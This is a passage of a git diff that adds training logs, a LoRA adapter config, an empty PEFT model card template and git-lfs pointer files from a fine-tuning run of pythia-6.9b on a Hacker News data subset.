{ + "epoch": 1.0666666666666667, + "grad_norm": 0.3500179052352905, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4189, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.4732604026794434, + "eval_runtime": 43.7328, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4862900674343109, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3734, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.475278377532959, + "eval_runtime": 43.7793, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.6158331632614136, + "learning_rate": 6.814814814814815e-05, + "loss": 2.3574, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.4776110649108887, + "eval_runtime": 43.8278, + "eval_samples_per_second": 22.817, + "eval_steps_per_second": 2.852, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.6770918965339661, + "learning_rate": 6.696296296296296e-05, + "loss": 2.3454, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.4802608489990234, + "eval_runtime": 43.7989, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.8334079384803772, + "learning_rate": 6.577777777777777e-05, + "loss": 2.3435, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.4808130264282227, + "eval_runtime": 43.7637, + "eval_samples_per_second": 22.85, + "eval_steps_per_second": 2.856, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.7085514664649963, + "learning_rate": 6.45925925925926e-05, + "loss": 2.2746, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.481640577316284, + "eval_runtime": 43.8381, + "eval_samples_per_second": 22.811, + "eval_steps_per_second": 2.851, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.9837716817855835, + "learning_rate": 6.340740740740741e-05, + "loss": 2.3891, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.482353448867798, + "eval_runtime": 43.7812, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.8127220869064331, + "learning_rate": 6.222222222222223e-05, + "loss": 2.3203, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.4834463596343994, + "eval_runtime": 43.7397, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8362072110176086, + "learning_rate": 6.103703703703704e-05, + "loss": 2.1909, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.503129005432129, + "eval_runtime": 43.7501, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.2620470523834229, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.253, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.524071216583252, + "eval_runtime": 43.733, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.1998324394226074, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.2446, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.5290536880493164, + "eval_runtime": 43.7796, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.202661395072937, + "learning_rate": 5.748148148148149e-05, + "loss": 2.2898, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.5280601978302, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.4101752042770386, + "learning_rate": 5.62962962962963e-05, + "loss": 2.1206, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.5348124504089355, + "eval_runtime": 43.7317, + "eval_samples_per_second": 22.867, + "eval_steps_per_second": 2.858, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.4827243089675903, + "learning_rate": 5.511111111111112e-05, + "loss": 2.1736, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5345828533172607, + "eval_runtime": 43.748, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4372262954711914, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2083, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.534963846206665, + "eval_runtime": 43.7358, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.3322038650512695, + "learning_rate": 5.274074074074074e-05, + "loss": 2.1604, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.5551891326904297, + "eval_runtime": 43.7474, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.7982910871505737, + "learning_rate": 5.155555555555556e-05, + "loss": 2.0041, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.619675874710083, + "eval_runtime": 43.7429, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 2.1107077598571777, + "learning_rate": 5.037037037037037e-05, + "loss": 1.942, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6037955284118652, + "eval_runtime": 43.7364, + "eval_samples_per_second": 22.864, + "eval_steps_per_second": 2.858, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9783029556274414, + "learning_rate": 4.918518518518519e-05, + "loss": 2.0183, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6220054626464844, + "eval_runtime": 43.7512, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.8481639623641968, + "learning_rate": 4.8e-05, + "loss": 2.0877, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6184496879577637, + "eval_runtime": 43.7386, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.8271690607070923, + "learning_rate": 4.681481481481481e-05, + "loss": 2.1139, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6199121475219727, + "eval_runtime": 43.7417, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9534505605697632, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.065, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.623281717300415, + "eval_runtime": 43.7442, + "eval_samples_per_second": 22.86, + "eval_steps_per_second": 2.858, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 1.928299069404602, + "learning_rate": 4.444444444444445e-05, + "loss": 2.0962, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.6169235706329346, + "eval_runtime": 43.7502, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.410632371902466, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.8775, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.709437370300293, + "eval_runtime": 43.8353, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 310 + }, + { + "epoch": 4.266666666666667, + "grad_norm": 2.781919240951538, + "learning_rate": 4.2074074074074075e-05, + "loss": 1.8813, + "step": 320 + }, + { + "epoch": 4.266666666666667, + "eval_loss": 2.715420722961426, + "eval_runtime": 43.8196, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 320 + }, + { + "epoch": 4.4, + "grad_norm": 2.7426798343658447, + "learning_rate": 4.088888888888889e-05, + "loss": 1.8863, + "step": 330 + }, + { + "epoch": 4.4, + "eval_loss": 2.720925807952881, + "eval_runtime": 43.9836, + "eval_samples_per_second": 22.736, + "eval_steps_per_second": 2.842, + "step": 330 + }, + { + "epoch": 4.533333333333333, + "grad_norm": 2.5579946041107178, + "learning_rate": 3.970370370370371e-05, + "loss": 1.8657, + "step": 340 + }, + { + "epoch": 4.533333333333333, + "eval_loss": 2.7156050205230713, + "eval_runtime": 43.8526, + "eval_samples_per_second": 22.804, + "eval_steps_per_second": 2.85, + "step": 340 + }, + { + "epoch": 4.666666666666667, + "grad_norm": 2.5620954036712646, + "learning_rate": 3.851851851851852e-05, + "loss": 1.8775, + "step": 350 + }, + { + "epoch": 4.666666666666667, + "eval_loss": 2.7065465450286865, + "eval_runtime": 43.8667, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.85, + "step": 350 + }, + { + "epoch": 4.8, + "grad_norm": 2.4796056747436523, + "learning_rate": 3.733333333333334e-05, + "loss": 1.9735, + "step": 360 + }, + { + "epoch": 4.8, + "eval_loss": 2.7022056579589844, + "eval_runtime": 43.8669, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.85, + "step": 360 + }, + { + "epoch": 4.933333333333334, + "grad_norm": 2.311401844024658, + "learning_rate": 3.614814814814815e-05, + "loss": 1.9683, + "step": 370 + }, + { + "epoch": 4.933333333333334, + "eval_loss": 2.7018933296203613, + "eval_runtime": 43.9361, + "eval_samples_per_second": 22.76, + "eval_steps_per_second": 2.845, + "step": 370 + }, + { + "epoch": 5.066666666666666, + "grad_norm": 2.346043348312378, + "learning_rate": 3.4962962962962965e-05, + "loss": 1.8337, + "step": 380 + }, + { + "epoch": 5.066666666666666, + "eval_loss": 2.7532222270965576, + "eval_runtime": 43.8082, + "eval_samples_per_second": 22.827, + "eval_steps_per_second": 2.853, + "step": 380 + }, + { + "epoch": 5.2, + "grad_norm": 3.011246681213379, + "learning_rate": 3.377777777777778e-05, + "loss": 1.7292, + "step": 390 + }, + { + "epoch": 5.2, + "eval_loss": 2.807420492172241, + "eval_runtime": 43.8249, + "eval_samples_per_second": 22.818, + "eval_steps_per_second": 2.852, + "step": 390 + }, + { + "epoch": 5.333333333333333, + "grad_norm": 3.1823174953460693, + "learning_rate": 3.259259259259259e-05, + "loss": 1.7703, + "step": 400 + }, + { + "epoch": 5.333333333333333, + "eval_loss": 2.793494701385498, + "eval_runtime": 43.8418, + "eval_samples_per_second": 22.809, + "eval_steps_per_second": 2.851, + "step": 400 + }, + { + "epoch": 5.466666666666667, + "grad_norm": 3.0969038009643555, + "learning_rate": 3.140740740740741e-05, + "loss": 1.7738, + "step": 410 + }, + { + "epoch": 5.466666666666667, + "eval_loss": 2.799389600753784, + "eval_runtime": 44.0564, + "eval_samples_per_second": 22.698, + "eval_steps_per_second": 2.837, + "step": 410 + }, + { + "epoch": 5.6, + "grad_norm": 2.961643934249878, + "learning_rate": 3.0222222222222225e-05, + "loss": 1.7961, + "step": 420 + }, + { + "epoch": 5.6, + "eval_loss": 2.7950029373168945, + "eval_runtime": 43.8519, + "eval_samples_per_second": 22.804, + "eval_steps_per_second": 2.851, + "step": 420 + }, + { + "epoch": 5.733333333333333, + "grad_norm": 3.098991870880127, + "learning_rate": 2.9037037037037042e-05, + "loss": 1.8045, + "step": 430 + }, + { + "epoch": 5.733333333333333, + "eval_loss": 2.794708490371704, + "eval_runtime": 43.8163, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 430 + }, + { + "epoch": 5.866666666666667, + "grad_norm": 3.1050519943237305, + "learning_rate": 2.7851851851851856e-05, + "loss": 1.8189, + "step": 440 + }, + { + "epoch": 5.866666666666667, + "eval_loss": 2.790193796157837, + "eval_runtime": 43.8333, + "eval_samples_per_second": 22.814, + "eval_steps_per_second": 2.852, + "step": 440 + }, + { + "epoch": 6.0, + "grad_norm": 2.814183473587036, + "learning_rate": 2.6666666666666667e-05, + "loss": 1.7888, + "step": 450 + }, + { + "epoch": 6.0, + "eval_loss": 2.7924447059631348, + "eval_runtime": 43.9915, + "eval_samples_per_second": 22.732, + "eval_steps_per_second": 2.841, + "step": 450 + }, + { + "epoch": 6.133333333333334, + "grad_norm": 3.243612051010132, + "learning_rate": 2.5481481481481484e-05, + "loss": 1.6686, + "step": 460 + }, + { + "epoch": 6.133333333333334, + "eval_loss": 2.8807199001312256, + "eval_runtime": 44.1448, + "eval_samples_per_second": 22.653, + "eval_steps_per_second": 2.832, + "step": 460 + }, + { + "epoch": 6.266666666666667, + "grad_norm": 4.4918212890625, + "learning_rate": 2.4296296296296298e-05, + "loss": 1.6355, + "step": 470 + }, + { + "epoch": 6.266666666666667, + "eval_loss": 2.8911144733428955, + "eval_runtime": 44.0372, + "eval_samples_per_second": 22.708, + "eval_steps_per_second": 2.839, + "step": 470 + }, + { + "epoch": 6.4, + "grad_norm": 3.3523900508880615, + "learning_rate": 2.3111111111111112e-05, + "loss": 1.6453, + "step": 480 + }, + { + "epoch": 6.4, + "eval_loss": 2.865966320037842, + "eval_runtime": 43.9698, + "eval_samples_per_second": 22.743, + "eval_steps_per_second": 2.843, + "step": 480 + }, + { + "epoch": 6.533333333333333, + "grad_norm": 3.544044256210327, + "learning_rate": 2.192592592592593e-05, + "loss": 1.6883, + "step": 490 + }, + { + "epoch": 6.533333333333333, + "eval_loss": 2.878653049468994, + "eval_runtime": 44.0273, + "eval_samples_per_second": 22.713, + "eval_steps_per_second": 2.839, + "step": 490 + }, + { + "epoch": 6.666666666666667, + "grad_norm": 3.418917179107666, + "learning_rate": 2.074074074074074e-05, + "loss": 1.713, + "step": 500 + }, + { + "epoch": 6.666666666666667, + "eval_loss": 2.876905679702759, + "eval_runtime": 44.0776, + "eval_samples_per_second": 22.687, + "eval_steps_per_second": 2.836, + "step": 500 + }, + { + "epoch": 6.8, + "grad_norm": 3.6384103298187256, + "learning_rate": 1.9555555555555557e-05, + "loss": 1.7537, + "step": 510 + }, + { + "epoch": 6.8, + "eval_loss": 2.868889808654785, + "eval_runtime": 43.8586, + "eval_samples_per_second": 22.801, + "eval_steps_per_second": 2.85, + "step": 510 + }, + { + "epoch": 6.933333333333334, + "grad_norm": 3.4803755283355713, + "learning_rate": 1.837037037037037e-05, + "loss": 1.6911, + "step": 520 + }, + { + "epoch": 6.933333333333334, + "eval_loss": 2.8681321144104004, + "eval_runtime": 43.8953, + "eval_samples_per_second": 22.781, + "eval_steps_per_second": 2.848, + "step": 520 + }, + { + "epoch": 7.066666666666666, + "grad_norm": 3.2173774242401123, + "learning_rate": 1.7185185185185185e-05, + "loss": 1.6429, + "step": 530 + }, + { + "epoch": 7.066666666666666, + "eval_loss": 2.8997802734375, + "eval_runtime": 43.9304, + "eval_samples_per_second": 22.763, + "eval_steps_per_second": 2.845, + "step": 530 + }, + { + "epoch": 7.2, + "grad_norm": 3.9753201007843018, + "learning_rate": 1.6000000000000003e-05, + "loss": 1.5879, + "step": 540 + }, + { + "epoch": 7.2, + "eval_loss": 2.9484663009643555, + "eval_runtime": 44.0868, + "eval_samples_per_second": 22.683, + "eval_steps_per_second": 2.835, + "step": 540 + }, + { + "epoch": 7.333333333333333, + "grad_norm": 3.7597460746765137, + "learning_rate": 1.4814814814814815e-05, + "loss": 1.5518, + "step": 550 + }, + { + "epoch": 7.333333333333333, + "eval_loss": 2.9290659427642822, + "eval_runtime": 44.0216, + "eval_samples_per_second": 22.716, + "eval_steps_per_second": 2.84, + "step": 550 + }, + { + "epoch": 7.466666666666667, + "grad_norm": 4.463420391082764, + "learning_rate": 1.362962962962963e-05, + "loss": 1.6113, + "step": 560 + }, + { + "epoch": 7.466666666666667, + "eval_loss": 2.9443466663360596, + "eval_runtime": 43.9335, + "eval_samples_per_second": 22.762, + "eval_steps_per_second": 2.845, + "step": 560 + }, + { + "epoch": 7.6, + "grad_norm": 3.9244191646575928, + "learning_rate": 1.2444444444444446e-05, + "loss": 1.6018, + "step": 570 + }, + { + "epoch": 7.6, + "eval_loss": 2.939068555831909, + "eval_runtime": 43.8308, + "eval_samples_per_second": 22.815, + "eval_steps_per_second": 2.852, + "step": 570 + }, + { + "epoch": 7.733333333333333, + "grad_norm": 3.8258907794952393, + "learning_rate": 1.125925925925926e-05, + "loss": 1.5986, + "step": 580 + }, + { + "epoch": 7.733333333333333, + "eval_loss": 2.9393391609191895, + "eval_runtime": 43.8955, + "eval_samples_per_second": 22.781, + "eval_steps_per_second": 2.848, + "step": 580 + }, + { + "epoch": 7.866666666666667, + "grad_norm": 3.681978225708008, + "learning_rate": 1.0074074074074074e-05, + "loss": 1.6481, + "step": 590 + }, + { + "epoch": 7.866666666666667, + "eval_loss": 2.9356720447540283, + "eval_runtime": 44.0134, + "eval_samples_per_second": 22.72, + "eval_steps_per_second": 2.84, + "step": 590 + }, + { + "epoch": 8.0, + "grad_norm": 3.8014676570892334, + "learning_rate": 8.888888888888888e-06, + "loss": 1.605, + "step": 600 + }, + { + "epoch": 8.0, + "eval_loss": 2.9312660694122314, + "eval_runtime": 43.9235, + "eval_samples_per_second": 22.767, + "eval_steps_per_second": 2.846, + "step": 600 + }, + { + "epoch": 8.133333333333333, + "grad_norm": 3.619027614593506, + "learning_rate": 7.703703703703704e-06, + "loss": 1.5216, + "step": 610 + }, + { + "epoch": 8.133333333333333, + "eval_loss": 2.970654249191284, + "eval_runtime": 44.0834, + "eval_samples_per_second": 22.684, + "eval_steps_per_second": 2.836, + "step": 610 + }, + { + "epoch": 8.266666666666667, + "grad_norm": 3.851361036300659, + "learning_rate": 6.51851851851852e-06, + "loss": 1.5173, + "step": 620 + }, + { + "epoch": 8.266666666666667, + "eval_loss": 2.986992597579956, + "eval_runtime": 43.9897, + "eval_samples_per_second": 22.733, + "eval_steps_per_second": 2.842, + "step": 620 + }, + { + "epoch": 8.4, + "grad_norm": 6.171919345855713, + "learning_rate": 5.333333333333334e-06, + "loss": 1.5553, + "step": 630 + }, + { + "epoch": 8.4, + "eval_loss": 2.981487512588501, + "eval_runtime": 43.8155, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 630 + }, + { + "epoch": 8.533333333333333, + "grad_norm": 3.86953067779541, + "learning_rate": 4.1481481481481485e-06, + "loss": 1.5459, + "step": 640 + }, + { + "epoch": 8.533333333333333, + "eval_loss": 2.9791789054870605, + "eval_runtime": 43.8107, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 640 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 1.048708607115264e+17, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-640/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-640/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..1b36d56f3e7bbd7abe2f26b35ff49f9f8148b671 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-640/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cda8e41a408b45a7a6604c90cbebf2f8b1064d9750a6a2900ae126084a84e2d8 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-650/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-650/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-650/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-650/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-650/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-650/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-650/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-650/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..005a4741ba2eaf4b8370440975df67edefaa5bd1 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-650/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:c9772387b13f7a5531de01f9eb42b8f67e4e856c6477374323950724f5bc4151 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-650/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-650/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..9b55503da3dcf4acb635f880956f2b8cf4cd0af6 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-650/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:684dad9458aa64d44aeeb3fdaa85b72a8c421eaa92cf2571bc870c54e3fecafb +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-650/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-650/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..4d763156eb3a586b51733d4ec683a815a6ae5fab --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-650/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:e66e316bd2615a5005aac13970f8b8e71830843ea716191e53ff7dc38997af08 +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-650/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-650/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..75f881b3ec9ba86b1878709fb0af361a6f712546 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-650/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:31b02e0b7ebaaab7bf8f183e3b47970500df166e496df9fdd39405913db43e64 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-650/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-650/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..ca26c3de361902f34d6afd725529716b0c45d30f --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-650/trainer_state.json @@ -0,0 +1,1008 @@ +{ + "best_metric": 2.4732604026794434, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 8.666666666666666, + "eval_steps": 10, + "global_step": 650, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37742483615875244, + "learning_rate": 7.881481481481482e-05, + "loss": 2.449, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.499645471572876, + "eval_runtime": 43.7851, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.37197864055633545, + "learning_rate": 7.762962962962963e-05, + "loss": 2.474, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.4948627948760986, + "eval_runtime": 43.7584, + "eval_samples_per_second": 22.853, + "eval_steps_per_second": 2.857, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.4249051809310913, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4313, + "step": 30 + }, + { + "epoch": 